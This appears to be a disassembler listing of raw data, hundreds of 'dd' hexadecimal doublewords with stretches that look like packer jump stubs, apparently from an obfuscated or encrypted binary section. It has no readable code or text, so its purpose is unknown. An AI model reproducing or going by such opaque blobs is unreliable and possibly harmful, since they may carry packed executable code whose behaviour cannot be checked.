		dd 8F28B6CCh, 3EB23D1Fh, 4836837Fh, 45F6708Dh, 38135FDCh
		dd 0DD373493h, 7A9740ACh, 6C38835Fh, 6BC89A76h,	0ED6BF17Fh
		dd 835FD94Ah, 0B8D3CF38h, 38835F0Bh, 5F668B2Ch,	92083883h
		dd 0E9770DE5h, 3D885E42h, 47B86E12h, 8EED22C6h,	0AD4CA8DDh
		dd 70000001h, 5009D77h,	0D77ECB21h, 0E2ADF812h,	0B6912CC2h
		dd 0BAC15C8Ah, 3EE89423h, 6B85A4E3h, 9A4C77DEh,	0C822000Fh
		dd 0C06BF57Dh, 3360CAA3h, 7A0012B5h, 0F6DC1A8Ah, 0D4AE80B6h
		dd 693456Fh, 0D1922B3Fh, 0F790023Bh, 726C1DF7h,	7AFF0B86h
		dd 0B9E00EDDh, 0A2800F45h, 0A2812E48h, 0C9A54F1Fh, 2331DF8Eh
		dd 79F4382h, 0CCE93F54h, 0D80E3135h, 0A8023DA1h, 42661BCh
		dd 0AB31BFEEh, 0CCE9E300h, 471DF535h, 99C73EBFh, 0B2F9A03Eh
		dd 5F0FB63Eh, 6CA0D9B5h, 0AEBC6EA4h, 0CC09C944h, 0B6843731h
		dd 0D83814C5h, 34DF84E2h, 0D47BBE2h, 9B757598h,	9018BD12h
		dd 3168447Bh, 491E3CFh,	89224CC9h, 33FE82C1h, 0E5A0FDD5h
		dd 9A412FC5h, 877B22C8h, 0A3558CDh, 0A763ADDCh,	41ABBF6Dh
		dd 36CF0EF4h, 7A578F28h, 0A9162D40h, 0C92706BBh, 0B22887DDh
		dd 18D758B4h, 37073D59h, 0DE64883Dh, 0F8938426h, 0F5861B8Eh
		dd 2F54525Ch, 0AC336C42h, 426BD025h, 0B3B71C56h, 24EC2059h
		dd 0D07A7BEEh, 620CF812h, 2ABE6DC9h, 34817924h,	0E8768F4Eh
		dd 86AF394Fh, 6247EC1Fh, 8F3051FAh, 0CC261226h,	0B52D82D0h
		dd 83697994h, 0A1812E36h, 0D88A394Bh, 7EE50B32h, 0E7DB8268h
		dd 9FFA2A6Dh, 0D5F8B18Ch, 82B5A03h, 6228AFDEh, 0B9A79110h
		dd 0A6BC5212h, 8DA087Ah, 9F8A2790h, 269CB288h, 0F8A17719h
		dd 0B09F2A06h, 0EE2158B2h, 759F43FEh, 70FEEAD4h, 7B66959Ch
		dd 37A0E518h, 0B288C09Ah, 283A168Ch, 354F4B85h,	9C29C3E7h
		dd 225BB1B1h, 3CAh, 821E9E00h, 3168825Bh, 726CC9Eh, 4AF325C8h
		dd 93CA243Bh, 0E786507Ch, 2B5284A8h, 732AC4E4h,	44E50FDCh
		dd 96B75D09h, 48D868A4h, 8F540000h, 4832404h, 6B680424h
		dd 89000058h, 8956243Ch, 4C681E6h, 83000000h, 348704EEh
		dd 1C895C24h, 0CF685124h, 59568E70h, 0BE56D9F7h, 2DC55B63h
		dd 495EF101h, 0FA09F181h, 0CF89D19Ah, 1C8B5459h, 4C48124h
		dd 81000000h, 4ECh, 240C8900h, 4B89F989h, 34FF5908h, 0C4815B24h
		dd 4, 5F2434FFh, 4C481h, 38E90000h, 32FFFA58h, 0FDB8ADE7h
		dd 306AC24h, 58E0FFC5h,	0EC6CDCB9h, 270BE4ADh, 0E936F55Ah
		dd 2Ch,	252FDDF4h, 2420000h, 9 dup(0)
		dd 0C1FE9h, 27566800h, 0A3E906ACh, 68FFFB1Ah, 6AC289Bh
		dd 0FB1A99E9h, 2A5568FFh, 8FE906ACh, 68FFFB1Ah,	6AC2AD3h
		dd 0FB1A85E9h, 2B6968FFh, 7BE906ACh, 68FFFB1Ah,	6AC2D01h
		dd 0FB1A71E9h, 2DC368FFh, 67E906ACh, 68FFFB1Ah,	6AC2F08h
		dd 0FB1A5DE9h, 303768FFh, 53E906ACh, 33FFFB1Ah,	64BCDA16h
		dd 0AA46ECD4h, 9E0A20E0h, 0C0D876B2h, 36EF854Bh, 14DC7F9Eh
		dd 2CECA27Eh, 61A3EA06h, 0B878DFCBh, 97790B92h,	0AE8D660h
		dd 98AA70C2h, 0FFB272D8h, 0D648AF99h, 0A2DA0AE8h, 672859FDh
		dd 0DD3890A1h, 218AD9C7h, 0D0106D1Dh, 0BCEC23CAh, 682FFBB8h
		dd 642C82A8h, 682CDEC8h, 84183B05h, 471BB1C0h, 7B0D32F6h
		dd 0AEEC870h, 0A09795A7h, 536F0260h, 0CE0D3CFCh, 0A8B9FAD6h
		dd 0AEE6A41Ch, 0E52CEAF2h, 32h,	8A261245h, 2BA2EE90h, 20F2183Bh
		dd 364BA96Fh, 0EECC29C2h, 5365B70Ah, 0EECC4AA1h, 79A9950Ah
		dd 771144C8h, 7230E8B0h, 2CEAFB22h, 0E591h, 6728C900h
		dd 58EF7A1h, 2F7DEED5h,	9433D6h, 0EE4CDD80h, 8D8E1829h
		dd 8BB3C858h, 5EBC8BD0h, 67B89F2Bh, 44D535Ah, 6C1E0868h
		dd 11944987h, 6C1D63E5h, 113FFD52h, 944E09B7h, 5197B811h
		dd 68A8EF3Bh, 970BF7D9h, 6EE9D385h, 0C29E183Ah,	0B9928E4Ah
		dd 0A5A3B47Bh, 994B1D8Fh, 0AEE1952h, 11F7B4D0h,	0F1E3B529h
		dd 1196BF62h, 9EA27410h, 0C1D977BDh, 2F868A4Ah,	85BAE0B8h
		dd 9D04BB4h, 0D37E0000h, 0EFAF7B11h, 0A7950D2Bh, 7DD9D17Fh
		dd 0BE78Dh, 0D97BAAC0h,	55391BAh, 0CD6BABEDh, 96BC64D5h
		dd 59F7351Ah, 25CABC4Ch, 870AE8D5h, 6328933Bh, 64D7EBBDh
		dd 5751FFBCh, 3140808Bh, 562BBD30h, 0EE4CEF00h,	1EDE7129h
		dd 79E4B670h, 0BC205371h, 797E48AEh, 3119438h, 0E1CBAC18h
		dd 27A13E4h, 1426391Dh,	94FC8D62h, 0BA791F11h, 5872EEDAh
		dd 8444CA96h, 2C97F587h, 35C7183Bh, 0EECDAC43h,	0F8EA3E0Ah
		dd 0AEECDF3h, 53B11771h, 0A6538A1Eh, 0F53E79CEh, 38B3454Ah
		dd 0EF0AEEEEh, 0C9D564ACh, 0D3113842h, 0D0EE3C4Dh, 12A6BBF8h
		dd 27CCBE40h, 850AEEEEh, 0EF02E9C3h, 0E4600AEEh, 1417927h
		dd 2CEB1D91h, 0B300h, 67287800h, 0FC8C6315h, 0FA531194h
		dd 50050B3Eh, 7A3D634h,	6DACC34h, 7ACFCC34h, 9501328Eh
		dd 8C84F11h, 4381B662h,	59639A2Eh, 64393432h, 4A36D6D5h
		dd 134F2C9h, 0E1BB0E6Dh, 94E7F8FFh, 8C126A11h, 12D0E89Ah
		dd 0D0B4183Bh, 0F06C54BAh, 0F3311A26h, 0D87618CCh, 0B811975Fh
		dd 5638CADCh, 4461BA1h,	92464503h, 0E9874DCEh, 0D6DA1A31h
		dd 0BAE16009h, 8B756EDBh, 0B3000008h, 0E43C5A96h, 2AC66C54h
		dd 1E8AA060h, 4058F632h, 0B66F05CBh, 945CFF1Eh,	0AC6C22FEh
		dd 0E1236A86h, 38F85F4Bh, 17F98B12h, 0AE8D4E0h,	2858F042h
		dd 1B97BD63h, 3E5EF434h, 90A16728h, 0B5C30136h,	38BFA173h
		dd 0AA1194FCh, 8E426BCDh, 0A80ECD02h, 0A13D05EBh, 2EFE8EF7h
		dd 0E8559BB0h, 0B3704A84h, 0D615F799h, 1F79183Ah, 62897B0Dh
		dd 0C00AEED3h, 0C1D73984h, 692325BAh, 0A0D99AAh, 0C374ACCAh
		dd 8E30C7A9h, 6EB20AEEh, 0EE8E777Ch, 0D93F50Ah,	0E62E9AAFh
		dd 739234B1h, 516D1CDCh, 9A0938F8h, 724D2E9Ah, 0A8EF06B2h
		dd 5BB97BD2h, 2652E53Dh, 0A86BBF34h, 0C52B2D83h, 6BAC44B4h
		dd 0AF7183A8h, 75BB9C73h, 8C4CC3DFh, 6BE10FFDh,	5D4B83A8h
		dd 87FE8065h, 26CB2E18h, 0FE4D6DAh, 9D83A858h, 0AA08C841h
		dd 0DA1A3DE5h, 57D364BCh, 70B098E6h, 2FFD8C12h,	58846B1Dh
		dd 0EFAB83A8h, 5F0E0E23h, 0F316C439h, 1AF6EE49h, 0AD8B7715h
		dd 881227EFh, 2F314080h, 0CFB16BC9h, 8A4EC3D1h,	0DBCD6BEDh
		dd 41F03007h, 9C72796Bh, 94F07D02h, 0A7937136h,	0CB41110Bh
		dd 1116760Bh, 0B0AB9547h, 0F59383A8h, 889C5444h, 0CB4D765Ch
		dd 0EBAC760Bh, 0C47FF3Ah, 9DE3161Bh, 4773A9ECh,	1B9471Ah
		dd 58BE5141h, 3F14098h,	6380000h, 1194FCF1h, 0EE2E6030h
		dd 4236F55Bh, 11950CA9h, 94F07F50h, 0E1AA7611h,	0AFC4EC3Ch
		dd 20861AB6h, 7C080F11h, 1194A873h, 6C3EB29Eh, 11E6885Ah
		dd 931194A8h, 0B24236F5h, 3A183ABBh, 95EF04F6h,	1B7D0AEEh
		dd 0DA3CF5B5h, 59E0C189h, 6D16Ch, 10D07D00h, 2AEEAE7Ah
		dd 7EA6940Ch, 8C7CD8D0h, 0C3010AE6h, 0B9D878B5h, 0EC045292h
		dd 0D4CC6AAAh, 1991BF65h, 4D58F636h, 0D226CDBFh, 3A840AE8h
		dd 0A1672892h, 0A8440C90h, 22770CFEh, 0B3D51841h, 0B0D306E5h
		dd 904254C8h, 118EE380h, 25D7D0B4h, 0B3A4080Dh,	8029E6Ah
		dd 87C20666h, 0BBCE8E5Bh, 27F16D55h, 0E1987D35h, 31EB6D54h
		dd 40EE2E61h, 6121E7A8h, 0FE3066BAh, 53F2EF5Ah,	0FB000006h
		dd 2CC4925Eh, 128EA46Ch, 4652F838h, 88600EFAh, 0FE375D83h
		dd 0AC142756h, 0E4246A86h, 39FB524Eh, 70B08713h, 4F31C3DAh
		dd 0AE8D2A8h, 2610B83Ah, 0CDF23E1Ah, 0DDCF632Fh, 3AFDD92Bh
		dd 265B3D18h, 0C475BB9Ch, 0EEBC7DDh, 0D2A6B142h, 41EE3BFDh
		dd 0C54729E3h, 91194F4h, 3BC7214Fh, 0A3A5D414h,	0F2DF08FCh
		dd 0D1260448h, 240448F2h, 24D6C05Ch, 0AF5185Fh,	2296ABADh
		dd 0FD9CCDD0h, 9CCDAF3Bh, 0A9D166FDh, 0E0E23E3h, 1235E8A8h
		dd 7ECBB438h, 5BD85h, 4C44100h,	5E9AB26Eh, 9252F830h, 0A0602CC4h
		dd 0F73D1E8Ah, 8DEC4459h, 0F028468Eh, 38F09E5Eh, 6D85D311h
		dd 594CEA2Ah, 0D112D98Bh, 0E900AE8h, 6214268Eh,	1194FC8Dh
		dd 0D3CFC52h, 0CB3A520Bh, 3F4DA1A2h, 2ECECDE0h,	1FC57462h
		dd 86FDEFB9h, 0C418410Fh, 62D5F180h, 572694A2h,	2116B0C1h
		dd 0FA5D55E3h, 94BB073Ah, 0CB952554h, 226A36DFh, 0CECD53E6h
		dd 2BFD2314h, 3DE22617h, 0F3603017h, 6F532CE4h,	0B000001h
		dd 0F1331A26h, 39DFDC40h, 19CBDD51h, 183B107Bh,	3CACDDBBh
		dd 0AEEE9B5h, 0BF7C546Ah, 9B4D5FD3h, 1194FCFDh,	0F9315F39h
		dd 0C9E39656h, 99026ACh, 7C246D58h, 481211DFh, 66591EC7h
		dd 0A5F5E9BAh, 0FFCB2947h, 0D1C7A963h, 1D0AEED8h, 2EF2C67Bh
		dd 0AF94A56Fh, 0E339BCD6h, 6C53B17Eh, 0A2684F98h, 9B37D1FDh
		dd 9E92C7CFh, 47CA1Fh, 26A20000h, 45F4341Ah, 0FC6E8577h
		dd 98FC1194h, 0AB97753Ah, 15736537h, 2183B2Ch, 671ADE7Eh
		dd 8A1E89FEh, 2381D9CDh, 0DC6DEB7Ch, 0EE1B03ECh, 57439D0Ah
		dd 0F5FAECBEh, 770AEE1Bh, 0B3E31211h, 0FE2CEA49h, 9Bh
		dd 1B67285Eh, 4C44B31h,	2F8D93A6h, 458B801Ah, 67A5EA34h
		dd 123AC6D2h, 0FEBDA3D6h, 0FBAD1324h, 0C4FF1782h, 0FFBCB870h
		dd 7D497751h, 0D7781194h, 91A17B11h, 0D7B57ABAh, 0B3A577EBh
		dd 183D1611h, 0C98983C5h, 32F48242h, 59E8286Eh,	216A30F7h
		dd 15083FE3h, 0C108C187h, 425C4h, 0BC6C2900h, 0F6321A96h
		dd 0ACA4058h, 5888B46Ch, 6F55E632h, 15842CC1h, 5850FE26h
		dd 801836F6h, 0F52D4B89h, 31F48242h, 0CF7A7163h, 96E80AE8h
		dd 321A2626h, 226931F6h, 0FB5C54E2h, 28FF1F35h,	5056BE67h
		dd 20475C3Dh, 3C13AFC2h, 7C0DF746h, 0C50B0018h,	2472D0B4h
		dd 0D51F3EC2h, 0ED0670D6h, 1411957Ch, 11947CDBh, 0C4D64A36h
		dd 0A4D51B3Ch, 4729E3A0h, 1840A240h, 0A64D3FC1h, 40AE857h
		dd 0DF925EFAh, 3141B79h, 68269B5Ah, 4F5B77EBh, 11770ACEh
		dd 0B32AFEB3h, 306EDE13h, 791F1C0Fh, 30C7A991h,	0B20AE899h
		dd 9EA274DAh, 0E1BB78B8h, 8EC779FFh, 0AF93F511h, 0BADDB08Ah
		dd 636E5BEEh, 0EB000003h, 0DCD462AEh, 29EB47Ch,	76A2C808h
		dd 0B8701ECAh, 0EE072D93h, 0BC64D746h, 0F4341A96h, 9CB425Eh
		dd 4080B763h, 3F21F32Ah, 0AE8CFB8h, 2860A82Ah, 3690A167h
		dd 73B5C301h, 1524ECAFh, 0A46C0C33h, 0CB421E08h, 0C147809h
		dd 13C5CA0Ah, 3B1B2B61h, 6C1D7B18h, 0EEDD737Ch,	0E7D3ED0Ah
		dd 0EB07EBABh, 2FA62Ch,	26860000h, 7CD4C14h, 0D3181272h
		dd 511194FCh, 0A8907037h, 14706234h, 40183B2Ch,	6C877504h
		dd 0F20AEECCh, 0E4ACFE2Ah, 0AF2CEAFAh, 0F3h, 0A167288Fh
		dd 0A0602BF7h, 0BB888F91h, 55E42C6Fh, 0C0B2C649h, 1194FC2Bh
		dd 6084C0B9h, 5D020FDFh, 0B43B2DFFh, 361194AFh,	6541F056h
		dd 0A24412D2h, 0AF09EE90h, 0FD9B1194h, 0B46E4A3Eh, 0C031194h
		dd 0C54AA6CCh, 0A6927207h, 7E6E100Ah, 55183AC6h, 33468E8Dh
		dd 3181D02Dh, 193535D2h, 2D4B0D1Ah, 36682FBh, 45F43410h
		dd 278B62C3h, 8F09097h,	7D5B8294h, 2AF6D048h, 3BD6EF56h
		dd 4F94C139h, 36CA9C48h, 10AADF05h, 9196F434h, 96C1DFE7h
		dd 0F3A5A311h, 0F2A46C2Fh, 0D2A2BF8Bh, 0F6B52649h, 0BC9425Eh
		dd 0E0B4FC07h, 0FD4CBAh, 21Eh, 89A76520h, 53F93911h, 670DF547h
		dd 35438F8Bh, 0F8965EFDh, 2F6C8B25h, 0F95F4BE1h, 0B6871339h
		dd 4BCC2472h, 6A3EEF85h, 0E8CD7378h, 2D6DF10Ah,	30076328h
		dd 6E03C14Ah, 97F988EEh, 888F1B31h, 128A2248h, 0EE908A26h
		dd 183B2BA2h, 0F0809AF2h, 0A596955Bh, 0EECCBC37h, 6F96220Ah
		dd 301BC95Bh, 6F958DF0h, 34ECB47Bh, 985F01D3h, 470AEE39h
		dd 3C580DF5h, 6888087Fh, 0FA0B2CEAh, 63000000h,	73A0BF26h
		dd 0F8EB0CF3h, 0F7286F3Bh, 70FB6E28h, 4C9423AFh, 0DB072D90h
		dd 58621775h, 491B0DF3h, 942650A7h, 52BA3A11h, 5F7EB149h
		dd 0F8494E0Eh, 942DB400h, 729AC311h, 0A16A41D4h, 1639E1A6h
		dd 4032C4D6h, 119402ABh, 6959E539h, 0FA2C040Bh,	0E8AF1526h
		dd 0D3651D32h, 98FE5E13h, 871BE7E9h, 1E01E395h,	0F395183Ah
		dd 0F13119D9h, 71DFDC40h, 0FCF3E5B7h, 6E0AEDE6h, 0A3FE554h
		dd 1E7A40Ah, 21F3A539h,	4BFE3E11h, 2D32C6C5h, 0DF119689h
		dd 78D3EFB9h, 7CD2EEB8h, 6DF33106h, 9DBB78DCh, 0CACE3605h
		dd 0BAE0893Bh, 0EFDFC871h, 1F000000h, 4058F632h, 0B66208C8h
		dd 0FA365C84h, 2CC4925Eh, 1A8BA16Fh, 30F05BBAh,	48888E1Ah
		dd 9D47F622h, 0D4143BF7h, 0AB5D6FBEh, 0AE8CC44h, 26FC5CA6h
		dd 21456EBFh, 0BE6A211Eh, 8E545B99h, 0F129478Dh, 0F48C9E5Eh
		dd 0B0989F45h, 0BE672804h, 0BF39305Ah, 5AEF4DF7h, 6309CF40h
		dd 9151F9B9h, 6A06F292h, 56B5CEB0h, 490F1840h, 6BA9EE38h
		dd 1862D5CDh, 0E190F636h, 6BFAA1EBh, 5C8C882Eh,	79B9912Dh
		dd 0F42CF2C8h, 0ECC4DCA7h, 0C8C20235h, 88DFA9ADh, 0C4CB90BBh
		dd 0E783B46Ch, 7CE09151h, 0C4740C1Eh, 902A1F1Ch, 0F9C574B4h
		dd 0D8E29757h, 98FC8D73h, 0FF18B80h, 0E76400E8h, 8DBC027Ah
		dd 0F1A21E16h, 0BB524E56h, 0F9FEE094h, 83E76400h, 0D2ADBD72h
		dd 292F3E51h, 0C275ADCBh, 0F726F02h, 0C4000000h, 0FF5C6436h
		dd 41C0031h, 0D9BFF232h, 6D287CDAh, 1F308ABFh, 3F1EA8D9h
		dd 0D47A44F5h, 0F2596514h, 0E8A37F32h, 818D1928h, 0A4963041h
		dd 59F1CD7Ch, 51E2E899h, 0C181E189h, 4,	4E981h,	0C870000h
		dd 3C895C24h, 4ACF6824h, 1C890000h, 2FB86824h, 34890000h
		dd 0CABF5724h, 817DE711h, 584843F7h, 5E7C160h, 0E7C1DFF7h
		dd 6EFC102h, 6AF5BA52h,	0D731062Dh, 5FFB895Ah, 24348B54h
		dd 6804C483h, 7B20h, 8F241C89h,	348B0846h, 0E6895624h
		dd 4C681h, 0C6810000h, 4, 5C243487h, 57241C8Bh,	0C781E789h
		dd 4, 4C781h, 3C870000h, 97E95C24h, 2FFFB0Eh, 8BC744F9h
		dd 43798A74h, 0AC314BB8h, 0FFC50306h, 5DA647E0h, 0CB1FB154h
		dd 1B5FF34Ah, 0C4556744h, 9C999716h, 25970954h,	8456E211h
		dd 72A53A2Fh, 89C16647h, 170EA514h, 0FF202865h,	65CF7E56h
		dd 0BD12267h, 966C337Bh, 95916311h, 0B5931144h,	2D3DF12Dh
		dd 0C492FE10h, 426C1F23h, 9B724468h, 86189D0Dh,	0C98A7A44h
		dd 7DE98E41h, 0AEC6E56Dh, 4EE02866h, 0BD0FBE70h, 0DD2A997Dh
		dd 95E925h, 3050000h, 0CC475474h, 38F3BAF5h, 0AFD666D1h
		dd 0B2979FABh, 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h
		dd 94A9B6F3h, 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh
		dd 8B204A95h, 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h
		dd 0FD91A7h, 4ACC48D1h,	713C3359h, 0DB4D5200h, 5EF357h
		dd 9DBBEFB6h, 9500BD89h, 0EFB69F89h, 0D00097BBh, 55C3B1B6h
		dd 37005271h, 0D3C20DA4h, 0E0910h, 5 dup(0)
		dd 0E9000000h, 10E1h, 0AC350F68h, 4AADE906h, 0A68FFFAh
		dd 0E906AC36h, 0FFFA4AA3h, 0AC372768h, 4A99E906h, 0BF68FFFAh
		dd 0E906AC38h, 0FFFA4A8Fh, 0AC394D68h, 4A85E906h, 1B68FFFAh
		dd 0E906AC3Ah, 0FFFA4A7Bh, 0AC3ABB68h, 4A71E906h, 8B68FFFAh
		dd 0E906AC3Bh, 0FFFA4A67h, 0AC3C4F68h, 4A5DE906h, 1568FFFAh
		dd 0E906AC3Dh, 0FFFA4A53h, 0AC3DDE68h, 4A49E906h, 1168FFFAh
		dd 0E906AC3Fh, 0FFFA4A3Fh, 0AC412668h, 4A35E906h, 1B68FFFAh
		dd 0E906AC42h, 0FFFA4A2Bh, 5DE802DBh, 831EF4F2h, 0F04DA784h
		dd 2C799755h, 1CA97F61h, 5D4770CDh, 50173E8Bh, 392463BEh
		dd 0F7EB52EFh, 1CA2801Dh, 60DA16BBh, 55ED1833h,	3C6D875Bh
		dd 0EE3BD191h, 4E28E5E0h, 0AC461BC0h, 0ABD873FDh, 0BD35CCE9h
		dd 0B81B6945h, 3EB2C7AAh, 0B31846BCh, 0A61841ABh, 0ADDA79ACh
		dd 0AB336AF7h, 0E02F5E88h, 7C602FC1h, 1F0BF3AAh, 1AA1CDC4h
		dd 5AA87AF3h, 0D72DC5DBh, 580CB853h, 86A502F6h,	31C93168h
		dd 8B4B3F8Dh, 0E09BE9C5h, 47h, 24E11CA2h, 8536BC3Ah, 35CCE96Ch
		dd 0F0A97F62h, 0FF79510Eh, 0CCE9375Ch, 0B3C13935h, 0B2D87A00h
		dd 87A61C3Eh, 6AD92B44h, 669C5433h, 5894C7E2h, 11D86F6h
		dd 71DE0000h, 0D94AED75h, 0CF336AD5h, 8B58E7D3h, 5B5F1361h
		dd 913C6D87h, 0CD0039EFh, 3F56F71Dh, 0C574C12Bh, 35CCEEC7h
		dd 0C5133D9Ah, 0BA22008Fh, 0CCECF011h, 1DCBF635h, 8C358C62h
		dd 0C9C89F3Bh, 0E954E1DDh, 0FA6A13F9h, 6BB6DB7Ch, 42B835CCh
		dd 0C09C430h, 9728E462h, 0CF45F945h, 0CC4B574Fh, 62F00821h
		dd 0C357AF10h, 0C8563EB2h, 6AABC26Fh, 0ED8C433h, 0B4EB7951h
		dd 0C203C35Eh, 0FAA37518h, 0E9422C18h, 38120C90h, 482ECC6h
		dd 0EB4DD7Eh, 40BA3882h, 9CCD2707h, 0C1E35022h,	68C34917h
		dd 38820EFBh, 0A6DDAAAAh, 83BC8BC4h, 9D51F265h,	6B473882h
		dd 0C0ACE57Fh, 0D8AA441Bh, 289F496Bh, 8EEE4883h, 0EB33558h
		dd 5400000Eh, 612C7993h, 2B12AF45h, 0C641DC36h,	92BD08E6h
		dd 5EED38EEh, 1ACCF0FFh, 4FA1808Fh, 7EA84BF2h, 0AC466423h
		dd 2C8F1111h, 3360DC87h, 5B247EA9h, 6BD26FB9h, 0F11FCE77h
		dd 1EB32448h, 35CCE9h, 0A4C2BEAAh, 0B2C02A3Fh, 259D71FFh
		dd 0EF0BC6h, 1CD76BF9h,	913A24E1h, 3EB2D8E9h, 0D574158Dh
		dd 336AC6B8h, 244593BEh, 6A13F9E9h, 0D554AE8Ah,	69ED27D3h
		dd 0F6588BB2h, 0D2F1h, 875BB100h, 5CB03C6Dh, 990EE64Ah
		dd 5AE97B40h, 0C12B33B6h, 9338B4D5h, 0ED2E24CEh, 35CC7C2Fh
		dd 28658F53h, 0D9C47D6Dh, 0DB645E0Fh, 41BDEC06h, 0DEFB0B55h
		dd 34748CCAh, 0A5C42E33h, 96374D39h, 2640BD38h,	0B28949B5h
		dd 28655D3Eh, 0BC56AB2Ah, 2AFCE7EDh, 21DB673Ah,	0B8802B35h
		dd 0DE3812B0h, 33DD7AE4h, 298B7BE5h, 0AC4E2717h, 50FFB2C0h
		dd 96057AACh, 98EED58h,	0D13E004h, 94510000h, 4264237Eh
		dd 31321DA8h, 0E1C74EDBh, 0E98BB20Fh, 6A7E23Fh,	8411C7E9h
		dd 0C944AAB9h, 3875A34Eh, 6AA74D1Dh, 0B0D17A04h, 0A63360DFh
		dd 0B95B3F03h, 776BD26Fh, 0F98A17EFh, 8F2A9560h, 0CC7FA7CCh
		dd 648A5935h, 85E3DFCBh, 7E375CFFh, 0C13935CCh,	5BA4FEB3h
		dd 0B03C6D87h, 0E960812Ah, 9C7635CCh, 836979C6h, 0EF0D29E5h
		dd 0D328D903h, 0DE64C081h, 0CC40D47Dh, 92E0DA35h, 0B7D63C2Dh
		dd 39EF9239h, 2CC6E42Bh, 0FE13C442h, 0D135CC40h, 0CC40CD66h
		dd 48E7D335h, 94410052h, 10EDE89Eh, 5C61E556h, 9D753EB2h
		dd 41E255D3h, 66336A5Ch, 6A5C5CF5h, 3F684233h, 52F9B1C3h
		dd 8F06F34h, 0D39D7875h, 0ED9C7674h, 77FD63F1h,	49F01AC8h
		dd 82BC1F55h, 94C0821Ah, 7AE10F3Eh, 0E6D88157h,	0A865606Ch
		dd 0E3E06DCEh, 18F63A61h, 0FCF6AE1h, 0B554172h,	3455BFACh
		dd 0CACE86CEh, 0EBC7C38Dh, 0BEAC0B99h, 6C7ED954h, 0E6FB15D5h
		dd 4B50A47Eh, 8BFCE8C4h, 90BCB0FAh, 0F678FC91h,	7C00000Bh
		dd 934816Bh, 0D37AB75Dh, 0EEA9E40Eh, 0BA8510FEh, 0B6F54096h
		dd 22F49817h, 57B9A897h, 865073DAh, 0B45E0C0Bh,	0C477F979h
		dd 3360DEAFh, 7A0C16B1h, 0A6E10FDDh, 0C43E6F85h, 0CB21018Eh
		dd 0FBA25292h, 8E9F71CCh, 0D617FF75h, 0A486313Fh, 0FB3EB2EEh
		dd 3A638D5Ch, 6A8706DCh, 0D9B58B5Bh, 0B0BE148Bh, 489A085Ch
		dd 0E270E41Ch, 0EF26A7AFh, 7ACCD681h, 38923814h, 72A5C201h
		dd 81A33880h, 9ECF1904h, 0FE114824h, 155B02E8h,	807201A2h
		dd 0B2BB1738h, 0BD830270h, 0E01B9FF5h, 0BFFDB23Fh, 67h
		dd 77E11C63h, 0C3AD9973h, 0E9719245h, 0D86735CCh, 47BBE234h
		dd 208B196Bh, 3EB23852h, 0C76CCF55h, 0E9336AB9h, 0ABB6B5F5h
		dd 2E1A6210h, 6503FF54h, 8805D3FEh, 6A5D6281h, 78CD4133h
		dd 0B1129E3Dh, 5F03B0C2h, 332FC5E6h, 2100AF35h,	0EC678CCFh
		dd 9109336Ah, 0C3E14DA1h, 0A5BFF8C5h, 68BEA1ECh, 0AEFB731h
		dd 7AEB0000h, 0E9365BFCh, 0C23835CCh, 8C8944B0h, 0DC8F49E2h
		dd 0AF1B3EB8h, 0A2481AC1h, 39F50917h, 5AD2F64h,	4466ADA7h
		dd 6504D2FDh, 0F6DC8D79h, 0E7501EF7h, 381432ACh, 18A6C03Ah
		dd 0F2883992h, 85D93895h, 0A80CB17h, 0F45BDEAh,	0FD48A280h
		dd 0C37A9052h, 75F30ACBh, 0EDA17EFh, 66FFEED0h,	9539BCD5h
		dd 494CA238h, 0F570F75h, 20024D39h, 0AC2AB8CAh,	131CB526h
		dd 50123895h, 5F158DBAh, 0EB0832FCh, 0D94EA433h, 883CB9B6h
		dd 5E2044C9h, 0E400000Ah, 0B19C29C3h, 7BC25FB5h, 16318C66h
		dd 226DB856h, 0E5DE83Eh, 0CA1C00AFh, 0FF11D07Fh, 2EF89BA2h
		dd 5CB6B493h, 7CDF61C1h, 3360D1D7h, 5794AED9h, 35CCE93Eh
		dd 0D9877E7Fh, 76A353h,	77B27D14h, 0CC6BAFC4h, 0E292F635h
		dd 0E45F8C46h, 33305F4Bh, 243EA0D9h, 0BC1A1DBEh, 62583EB8h
		dd 618B5F04h, 937969D4h, 4B8A7AEAh, 0A30F019Fh,	9AEF04B7h
		dd 19F13360h, 2EAF572Dh, 4C2E89D7h, 62381EA6h, 1C621788h
		dd 74198EEAh, 9D0F0h, 0BB511600h, 0ED07276Eh, 1EF4F550h
		dd 4AA48483h, 7AAC50FFh, 0B6419C2Fh, 46C15C8Ah,	113C8967h
		dd 226DB86Eh, 0D75FEA00h, 0D045EE49h, 306B3360h, 6D875B62h
		dd 3BD1913Ch, 0AEEEC13Dh, 0EE9F7177h, 0D2CF1CF4h, 0E75ECF85h
		dd 9D3AC93Bh, 9C0627CDh, 16F42FC6h, 0CE46F0FEh,	0C119B253h
		dd 0D57ED93Fh, 0DB35CC8Eh, 661F3EFh, 4B3h, 6D8A7A8Ch, 0DF09345Eh
		dd 0E74C2DE7h, 0A964616Dh, 0D6CD41CFh, 1AFF980Eh, 45DC7FF5h
		dd 2B3EB828h, 263C68BBh, 0B0A04FF0h, 9FB11ADFh,	5F19F589h
		dd 8D18F2F0h, 134AA082h, 61DC57F0h, 3ED71633h, 3DD78B30h
		dd 3C1EB927h, 0B2381FE0h, 8FBE680Bh, 9A747413h,	9C03FFE3h
		dd 8EE95AC5h, 271F796h,	40000009h, 15308D67h, 276EBB51h
		dd 0F25DE802h, 86811CF2h, 0AAF14C9Ah, 2EF8E413h, 5BB5B493h
		dd 8A5C47CEh, 0B852103Fh, 0D07B056Dh, 3360D3B3h, 5B3002A5h
		dd 913C6D87h, 963D3BD1h, 0FA2B39D7h, 96659F9Bh,	9ED43A29h
		dd 0FEA84C67h, 4010BF0h, 57B70000h, 35CCE93Eh, 0D9877E7Fh
		dd 0B8DB797Eh, 0E5837F3Eh, 0B866C7Eh, 95B45E0Ch, 0EEFC5Bh
		dd 4216103Ah, 1926120Ah, 5F9A076h, 0CF46874Fh, 105436A1h
		dd 0CC6B381Eh, 6955F41Eh, 1B07AC0Fh, 0B129389Eh, 31960CA3h
		dd 8EE9CA38h, 62FE7E0Fh, 0E0000008h, 0B5902DC7h, 47CE5BB1h
		dd 123D8862h, 2661BC52h, 0A51EC3Ah, 0CE1804B3h,	0FB15D473h
		dd 2AFCE7AEh, 58B2B09Fh, 70DB65CDh, 3360D3D3h, 5B90A2C5h
		dd 913C6D87h, 13023BD1h, 0F60EFD17h, 0CAE0620Ch, 35D0A235h
